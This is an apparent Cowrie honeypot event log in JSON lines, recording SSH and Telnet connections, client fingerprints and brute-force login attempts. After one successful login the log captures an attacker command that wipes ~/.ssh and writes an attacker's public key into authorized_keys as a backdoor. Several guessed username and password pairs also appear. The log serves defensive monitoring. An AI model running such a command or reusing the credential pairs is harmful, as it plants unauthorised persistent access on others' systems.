{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:48:22.598119Z","src_ip":"165.154.205.91","session":"d173692e0e15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password999","message":"login attempt [test/password999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:48:23.539303Z","src_ip":"165.154.205.91","session":"d173692e0e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:48:24.769956Z","src_ip":"165.154.205.91","session":"d173692e0e15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:48:32.983415Z","src_ip":"14.103.117.141","session":"16be2f9cec11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.224.126.107","src_port":60038,"dst_ip":"10.17.0.5","dst_port":23,"session":"85c346bad44a","protocol":"telnet","message":"New connection: 43.224.126.107:60038 (10.17.0.5:23) [session: 85c346bad44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:48:54.543341Z"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":46750,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a457cbb3b02","protocol":"telnet","message":"New connection: 166.62.124.255:46750 (10.17.0.5:23) [session: 8a457cbb3b02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:48:55.415752Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":54622,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8d33e2df20f","protocol":"ssh","message":"New connection: 165.154.205.91:54622 (159.203.135.109:22) [session: d8d33e2df20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:49:21.171505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:49:21.176120Z","src_ip":"165.154.205.91","session":"d8d33e2df20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:49:21.405041Z","src_ip":"165.154.205.91","session":"d8d33e2df20f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q2w3e4r5","message":"login attempt [admin/1q2w3e4r5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:49:22.353184Z","src_ip":"165.154.205.91","session":"d8d33e2df20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:49:23.588035Z","src_ip":"165.154.205.91","session":"d8d33e2df20f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.72102403640747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:49:26.136646Z","src_ip":"166.62.124.255","session":"8a457cbb3b02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.02359986305237,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:49:48.810522Z","src_ip":"45.190.148.175","session":"c74e6a02916c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":43062,"dst_ip":"159.203.135.109","dst_port":22,"session":"59ce240b9e90","protocol":"ssh","message":"New connection: 165.154.205.91:43062 (159.203.135.109:22) [session: 59ce240b9e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:20.910997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:20.916484Z","src_ip":"165.154.205.91","session":"59ce240b9e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:21.145691Z","src_ip":"165.154.205.91","session":"59ce240b9e90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mc123","message":"login attempt [minecraft/mc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:22.099061Z","src_ip":"165.154.205.91","session":"59ce240b9e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:23.332602Z","src_ip":"165.154.205.91","session":"59ce240b9e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.203.57.2","src_port":50414,"dst_ip":"10.17.0.5","dst_port":22,"session":"36b6bcd9847c","protocol":"ssh","message":"New connection: 103.203.57.2:50414 (10.17.0.5:22) [session: 36b6bcd9847c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:30.815922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:30.820677Z","src_ip":"103.203.57.2","session":"36b6bcd9847c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:30.835812Z","src_ip":"103.203.57.2","session":"36b6bcd9847c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:40.816835Z","src_ip":"103.203.57.2","session":"36b6bcd9847c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00281596183777,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:54.546044Z","src_ip":"43.224.126.107","session":"85c346bad44a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":55404,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd2cf02c713","protocol":"ssh","message":"New connection: 187.212.47.18:55404 (10.17.0.5:22) [session: ebd2cf02c713]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:56.700412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:56.704977Z","src_ip":"187.212.47.18","session":"ebd2cf02c713","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:56.906860Z","src_ip":"187.212.47.18","session":"ebd2cf02c713","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1234!","message":"login attempt [ubuntu/abcd1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:57.239241Z","src_ip":"187.212.47.18","session":"ebd2cf02c713","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:50:58.318511Z","src_ip":"187.212.47.18","session":"ebd2cf02c713","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58456,"dst_ip":"159.203.135.109","dst_port":23,"session":"0adbf3dd8601","protocol":"telnet","message":"New connection: 135.148.33.91:58456 (159.203.135.109:23) [session: 0adbf3dd8601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:10.891589Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":59724,"dst_ip":"159.203.135.109","dst_port":22,"session":"a22dc7a47a76","protocol":"ssh","message":"New connection: 165.154.205.91:59724 (159.203.135.109:22) [session: a22dc7a47a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:18.332120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:18.338860Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:18.570098Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"pass","message":"login attempt [steam/pass] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:19.508942Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:20.006895Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:20.010568Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:20.015712Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:20.250044Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:20.740612Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:20.744247Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:20.976831Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:20.980451Z","src_ip":"165.154.205.91","session":"a22dc7a47a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":38704,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfc78b30e3ec","protocol":"ssh","message":"New connection: 64.89.163.156:38704 (159.203.135.109:22) [session: dfc78b30e3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:21.084982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:21.090150Z","src_ip":"64.89.163.156","session":"dfc78b30e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:21.177510Z","src_ip":"64.89.163.156","session":"dfc78b30e3ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.205.91","src_port":60654,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9f438f69e38","protocol":"ssh","message":"New connection: 165.154.205.91:60654 (159.203.135.109:22) [session: f9f438f69e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:51:21.200998Z"}
